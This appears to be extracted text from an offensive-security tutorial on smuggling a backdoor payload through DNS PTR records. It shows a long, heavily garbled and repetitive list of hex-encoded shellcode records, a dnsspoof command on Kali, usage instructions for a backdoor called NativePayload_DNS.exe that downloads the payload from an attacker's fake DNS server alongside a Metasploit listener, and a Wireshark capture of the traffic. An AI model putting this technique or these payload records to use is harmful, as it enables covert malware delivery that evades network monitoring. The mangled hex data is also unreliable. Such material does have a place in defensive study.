"0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560x</pre>	1.1.1.16 "0x490xbc0x020x000x110x5c0xc00xa80x010x320x410x540x490x890xe4.1.com"	
<pre>1.1.1.18 "0x010x010x000x590x410xba0x290x800x6b0x000xff0xd50x6a0x05.1.com" 1.1.1.19 "0x410x5e0x500x4d0x310xc90x4d0x310xc00x480x8f0xc00x480x89.1.com" 1.1.1.20 "0xc20x480xff0xc00x480x890xc10x410xba0xea0x0f0xdf0xe00xff0xd5.1.com" 1.1.1.21 "0x480x890xc70x6a0x100x410x580x4c0x890xe20x480x890x410xba.1.com" 1.1.1.22 "0x990xa50x740x610xff0xd50x850xc00x740x0a0x490xff0xce0x750xe5.1.com" 1.1.1.23 "0xe80x930x000x000x000x480x830xec0x100x480x890xe20x4d0x310xc9.1.com" 1.1.1.24 "0x6a0x040x410x580x480x890xf90x410xba0x020xd90xc80x5f0xff0xd5.1.com" 1.1.1.25 "0x830xf80x000x7e0x550x480x890xf90x410xba0x020xd90xc80x5f0xff0xd5.1.com" 1.1.1.26 "0x590x680x000x100x000x410x580x480x890xf20x480x310xc90x41.1.com" 1.1.1.27 "0xba0x580x440x530xe50xff0xd50x480x890xf20x480x310xc90x41.1.com" 1.1.1.27 "0xba0x580x400x500x600x7d0x280x890xf30x490x890xc70x4d0x31.1.com" 1.1.1.28 "0xc90x490x890xf00x480x890xd0x480x890xf20x480x310xc90x41.1.com" 1.1.1.29 "0x5f0xff0xd50x830xc40x200x580x410xba0x020xd90xc8.1.com" 1.1.1.29 "0x5f0xff0xd50x830xc40x200x580x410x570x590x680x000x40.1.com" 1.1.1.30 "0x000x000x410x580x480x890xf30x40x570x590x680x000x40.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490x8f0x200x400x40.1.com" 1.1.1.33 "0xff0xff0xff0x480x010xc30x480x890xf20x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xff0xff0x480x010xc30x480x890xf20x40x310xc99xc8.1.com" 1.1.1.33 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com</pre>	1.1.1.17 "0x4c0x890xf10x410xba0x4c0x770x260x070xff0xd50x4c0x890xea0x68.1.com"	
<pre>1.1.1.19 "0x410x5e0x500x4d0x310xc90x4d0x310xc00x480xff0xc00x480x89.1.com" 1.1.1.20 "0xc20x480xff0xc00x480x890xc10x410xba0xea0x0f0xdf0xe00xff0xd5.1.com" 1.1.1.21 "0x480x890xc70x6a0x100x410x580x4c0x890xe20x480x890xf90x410xba.1.com" 1.1.1.22 "0x990xa50x740x610xff0xd50x850xc00x740xa0x490xff0xce0x750xe5.1.com" 1.1.1.24 "0x6a0x040x410x580x480x890xf90x410xba0x020xd90xc80x5f0xff0xd5.1.com" 1.1.1.25 "0x830xf80x000x7e0x550x480x890xf90x410xba0x20xd90xc80x5f0xff0xd5.1.com" 1.1.1.26 "0x590x680x000x100x000x000x410x580x480x890xf20x480x310xc90x41.1.com" 1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xf20x480x310xc90x41.1.com" 1.1.1.28 "0x590x680x000x100x000x000x410x580x480x890xf20x480x310xc90x41.1.com" 1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xf20x480x310xc90x41.1.com" 1.1.1.28 "0xc90x490x890xf00x480x890xd0x480x890xf20x480x890xc70x4d0x31.1.com" 1.1.1.28 "0xc90x490x890xf00x480x890xd0x480x890xf90x410xba0x020xd90xc81.com" 1.1.1.29 "0x5f0xff0xd50x880xd00x7d0x280x580x410xb70x590x680x000x40.1.com" 1.1.1.30 "0x000x000x410x580x480x890xd00x480x890xf10xba0x20xd90xc81.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.33 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.33 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x59</pre>	1.1.1.18 "0x010x010x000x590x410xba0x290x800x6b0x000xff0xd50x6a0x05.1.com"	
<pre>1.1.1.20 "0xc20x480xff0xc00x480x890xc10x410xba0xea0x0f0xdf0xe00xff0xd5.1.com" 1.1.1.21 "0x480x890xc70x6a0x100x410x580x4c0x890xe20x480x890xf90x410xba.1.com" 1.1.1.22 "0x990xa50x740x610xff0xd50x850xc00x740x0a0x490xff0xce0x750xe5.1.com" 1.1.1.23 "0xe80x930x000x000x000x480x830xec0x100x480x890xe20x4d0x310xc9.1.com" 1.1.1.24 "0x6a0x040x410x580x480x890xf90x410xba0x020xd90xc80x5f0xff0xd5.1.com" 1.1.1.25 "0x830xf80x000x7e0x550x480x830xc40x200x5e0x890xf20x480x310xc90x41.1.com" 1.1.1.26 "0x590x680x000x100x000x410x580x480x890xc30x490x80x310xc90x41.1.com" 1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xc30x490x890xc70x4d0x31.1.com" 1.1.1.28 "0xc90x490x890xf00x480x890xda0x480x890xc30x490x890xc70x4d0x31.1.com" 1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410x570x590x680x000x40.1.com" 1.1.1.30 "0x0000x000x410x580x640x200x580x410xba0x020xd90xc8.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.32 "0xff0xff0x4f0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xef0x480x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0x480x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0x50x50x410xba0x750x6e0x4d0x610xff0xd50x480x850xf60x750xb40x41.1.com" 1.1.1.30 "0x000x000x410x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xef0xff0x480x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xff0xd50x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xff0xd50x490xf90xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xff0x480x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xef0xff0xd50x490xf70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xff0xd50x490xf90xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xef0xef0xff0xff0xd50xff0xff0xd50x40x500xff0xd50.1.com" 1.1.1.34 "0xff0xef0xef0xef0xef0xff0xff0</pre>	1.1.1.19 "0x410x5e0x500x500x4d0x310xc90x4d0x310xc00x480xff0xc00x480x89.1.com"	
<pre>1.1.1.21 "0x480x890xc70x6a0x100x410x580x4c0x890xe20x480x890xf90x410xba.1.com" 1.1.1.22 "0x990xa50x740x610xff0xd50x850xc00x740x0a0x490xff0xce0x750xe5.1.com" 1.1.1.23 "0xe80x930x000x000x000x480x830xec0x100x480x890xe20x4d0x310xc9.1.com" 1.1.1.24 "0x6a0x040x410x580x480x890xf90x410xba0x020xd90xc80x5f0xff0xd5.1.com" 1.1.1.25 "0x830xf80x000x7e0x550x480x830xc40x200x5e0x890xf20x480x310xc90x41.1.com" 1.1.1.26 "0x590x680x000x100x000x000x410x580x480x890xf20x480x310xc90x41.1.com" 1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xf20x480x310xc90x41.1.com" 1.1.1.28 "0xc90x490x890xf00x480x890xda0x480x890xf90x410xba0x020xd90xc8.1.com" 1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410x570x590x680x000x40.1.com" 1.1.1.30 "0x0000x000x410x580x640x200x5a0x410xba0x020xd90xc8.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.33 "0xff0xff0xff0x450x80x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xff0xff0x480x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xff0xff0x480x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xff0xff0x480x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xf0xff0xff0xff0xd50x480x890xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.30 "0x000x000x410xba0x750x6e0x400x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x400x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.33 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xer70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xer70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xer70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xer70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xer70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xer70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xer70x580x6a0x000x590x490xc70xc20xf60x50xf60xf60xff0xd5.1.com" 1.1.1.34 "0x60x6</pre>	1.1.1.20 "0xc20x480xff0xc00x480x890xc10x410xba0xea0x0f0xdf0xe00xff0xd5.1.com"	
<pre>1.1.1.22 "0x990xa50x740x610xff0xd50x850xc00x740x0a0x490xff0xce0x750xe5.1.com" 1.1.1.22 "0xe80x930x000x000x480x830xec0x100x480x890xe20x4d0x310xc9.1.com" 1.1.1.24 "0x6a0x040x410x580x480x890xf90x410xba0x020xd90xc80x5f0xff0xd5.1.com" 1.1.1.25 "0x830xf80x000x7e0x550x480x830xc40x200x5e0x890xf60x6a0x400x41.1.com" 1.1.1.26 "0x590x680x000x100x000x410x580x480x890xf20x480x310xc90x41.1.com" 1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xf90x410xba0x020xd90xc8.1.com" 1.1.1.28 "0xc90x490x890xf00x480x890xf20x410xba0x020xd90xc8.1.com" 1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410xba0x020xd90xc8.1.com" 1.1.1.30 "0x000x000x410x580x6a0x000x5a0x410xba0x020xd90xc8.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.32 "0xff0xff0x4f0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xff0x4f0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xff0xff0x480x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xff0xff0x480x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xff0xff0x480x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" </pre>	1.1.1.21 "0x480x890xc70x6a0x100x410x580x4c0x890xe20x480x890xf90x410xba.1.com"	
<pre>1.1.1.23 "0xe80x930x000x000x480x830xec0x100x480x890xe20x4d0x310xc9.1.com" 1.1.1.24 "0x6a0x040x410x580x480x890xf90x410xba0x020xd90xc80x5f0xff0xd5.1.com" 1.1.1.25 "0x830xf80x000x7e0x550x480x830xc40x200x5e0x890xf60x6a0x400x41.1.com" 1.1.1.26 "0x590x680x000x100x000x000x410x580x480x890xf20x480x310xc90x41.1.com" 1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xc30x490x20x400x31.1.com" 1.1.1.28 "0xc90x490x890xf00x480x890xda0x480x890xf90x410xba0x020xd90xc8.1.com" 1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410x570x590x680x000x40.1.com" 1.1.1.30 "0x000x000x410x580x6a0x000x5a0x410xba0x020xd90xc8.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x440x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.32 "0xff0xff0x4f0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x440x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.33 "0xff0xef0xff0x480x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xff0x480x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xff0xd50x50x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xff0xd50x50x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xff0xd50x50x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xff0xd50xf90xd90xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xff0xd50x50x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xff0xd50xf90xd90xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xef0xf0xf0xf0xf0xf0xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xef0xf0xf0xf0xf0xf0xf0xf0xf0xf0xf0x50x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xef0xef0xf0xf0xf0xf0xf0xf0xf0xf0xf0xf0xf0xf0xf</pre>	1.1.1.22 "0x990xa50x740x610xff0xd50x850xc00x740x0a0x490xff0xce0x750xe5.1.com"	
<pre>1.1.1.24 "0x6a0x040x410x580x480x890xf90x410xba0x020xd90xc80x5f0xff0xd5.1.com" 1.1.1.25 "0x830xf80x000x7e0x550x480x830xc40x200x5e0x890xf60x6a0x400x41.1.com" 1.1.1.26 "0x590x680x000x100x000x410x580x480x890xf20x480x310xc90x41.1.com" 1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xc30x490x890xc70x4d0x31.1.com" 1.1.1.28 "0xc90x490x890xf00x480x890xda0x480x890xf90x410xba0x020xd90xc8.1.com" 1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410x570x590x680x000x40.1.com" 1.1.1.30 "0x000x000x410x580x6a0x000x5a0x410xba0x0b0x2f0x0f0x300xff0xd5.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.33 "0xff0xff0x4f0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com"</pre>	1.1.1.23 "0xe80x930x000x000x000x480x830xec0x100x480x890xe20x4d0x310xc9.1.com"	
<pre>1.1.1.25 "0x830xf80x000x7e0x550x480x830xc40x200x5e0x890xf60x6a0x400x41.1.com" 1.1.1.26 "0x590x680x000x100x000x010x580x480x890xc20x480x310xc90x41.1.com" 1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xc30x490x890xc70x4d0x31.1.com" 1.1.1.28 "0xc90x490x890xf00x480x890xda0x480x890xf90x410xba0x020xd90xc8.1.com" 1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410xba0x020xd90xc8.1.com" 1.1.1.30 "0x0000x000x410x580x6a0x000x5a0x410xba0x0b0x2f0x0f0x300xff0xd5.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490x8f0xc90x3c.1.com" 1.1.1.32 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com"</pre>	1.1.1.24 "0x6a0x040x410x580x480x890xf90x410xba0x020xd90xc80x5f0xff0xd5.1.com"	
<pre>1.1.1.26 "0x590x680x000x100x000x410x580x480x890xf20x480x310xc90x41.1.com" 1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xc30x490x890xc70x4d0x31.1.com" 1.1.1.28 "0xc90x490x890xf00x480x890xda0x480x890xf90x410xba0x020xd90xc8.1.com" 1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410x570x590x680x000x40.1.com" 1.1.1.30 "0x000x000x410x580x6a0x000x5a0x410xba0x0b0x2f0x0f0x300xff0xd5.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.32 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com"</pre>	1.1.1.25 "0x830xf80x000x7e0x550x480x830xc40x200x5e0x890xf60x6a0x400x41.1.com"	
<pre>1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xc30x490x890xc70x4d0x31.1.com" 1.1.1.28 "0xc90x490x890xf00x480x890xda0x480x890xf90x410xba0x020xd90xc8.1.com" 1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410x570x590x680x000x40.1.com" 1.1.1.30 "0x0000x000x410x580x6a0x000x5a0x410xba0x0b0x2f0x0f0x300xff0xd5.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.32 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com"</pre>	1.1.1.26 "0x590x680x000x100x000x000x410x580x480x890xf20x480x310xc90x41.1.com"	
<pre>1.1.1.28 "0xc90x490x890xf00x480x890xda0x480x890xf90x410xba0x020xd90xc8.1.com" 1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410x570x590x680x000x40.1.com" 1.1.1.30 "0x000x000x410x580x6a0x000x5a0x410xba0x0b0x2f0x0f0x300xff0xd5.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.32 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com"</pre>	1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xc30x490x890xc70x4d0x31.1.com"	
<pre>1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410x570x590x680x000x40.1.com" 1.1.1.30 "0x000x000x410x580x6a0x000x5a0x410xba0x0b0x2f0x0f0x300xff0xd5.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.32 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" root@kali:-# dnsspoof -i eth0 -f /root/Desktop/dns.txt dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.50]</pre>	1.1.1.28 "0xc90x490x890xf00x480x890xda0x480x890xf90x410xba0x020xd90xc8.1.com"	
<pre>1.1.1.30 "0x000x000x410x580x6a0x000x5a0x410xba0x0b0x2f0x0f0x300xff0xd5.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.32 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" root@kali:-# dnsspoof -i eth0 -f /root/Desktop/dns.txt dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.50]</pre>	1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410x570x590x680x000x40.1.com"	
<pre>1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.32 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" root@kali:-# dnsspoof -i eth0 -f /root/Desktop/dns.txt dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.50] </pre>	1.1.1.30 "0x000x000x410x580x6a0x000x5a0x410xba0x0b0x2f0x0f0x300xff0xd5.1.com"	
<pre>1.1.1.32 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" root@kali:-# dnsspoof -i eth0 -f /root/Desktop/dns.txt dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.50]</pre>	1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com"	
1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" root@kali:-# dnsspoof -i eth0 -f /root/Desktop/dns.txt dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.50]	1.1.1.32 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com"	
<pre>root@kali:~# dnsspoof -i eth0 -f /root/Desktop/dns.txt dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.50]</pre>	1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com"	
ansspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.50]	Rootekal: - # dnsspoof -i eth0 -f /root/Desktop/dns.txt	
	dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.50]	
		-

Picture 6: dnsspoof tool

in step 2 we need to use one backdoor for Downloading Payloads from Fake DNS server by DNS Traffic.

In this case I made this C# source code for do that and in my code I used nslookup.exe tool for sending dns requests finally my code will dump backdoor Payloads via DNS PTR Response from FakeDNSserver over network.

STEP2:

After compile this code you have one exe file and for execute this exe file you should use this syntax in command prompt:

Command Syntax:

NativePayload_DNS.exe "Start_IpAddress" Counter "FakeDNSServer_IpAddress"

Example: C:\> NativePayload_DNS.exe 1.1.1. 34 192.168.1.50

Start_IpAddress : is your first IpAddress for you PTR Records without last section for HostID $\{1, 1, 1, 1\}$ so in this case you should type three "1." for this argument.

Counter : is DNS PTR Records number in this case we have 1.1.1.0 1.1.1.33 in our dns.txt file so number is 34

FakeDNSServer_IpAddress : FakeDNS_IP is our DNS server IPaddress or Attacker FakeDNSserver in this case our kali linux ipaddress is 192-168-1-50

Before execute this backdoor remember you should made listener for metasploit

in your kali linux with ipadress 192-168-1-50.

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

Now you can execute this backdoor like picture 7:

NativePayload_DNS.exe 1.1.1. 34 192.168.1.50

Picture 7 : NativePayload_DNS tool

As you can see in picture 7 this backdoor tried to send DNS Request for ipaddress 1.1.1.x also you can see each Response.

In the next picture you can see our network traffic between Client and Attacker FakeDNS_Server

💋 Capturing from Wireless Network Connection 3 [Wireshark 1.12.4 (v1.12.4-0-gb4861da from master-1.12)]	
<u>File Edit View Go Capture Analyze Statistics Telephony Iools Internals H</u> elp	
	7
	3
Filter: ip.src == 192.168.1.50 && dns.ptr.domain_name contains "1.com" 💌 Expression Clear Apply Save	
No. Time Source Destination Protocol Length Info	A
982 538.450553000 192.168.1.50 192.168.1.113 DNS 162 Standard query response 0x0002	PTR "0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com"
998 540.497461000 192.168.1.50 192.168.1.113 DNS 162 Standard query response 0x0002	PTR "0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com"
1010 542.55555000 192.168.1.50 192.168.1.113 DNS 162 Standard query response 0x0002	PTR 0x800x520x200x480x800x720x500x480x010xb70x400x400x400x310xc9.1.com
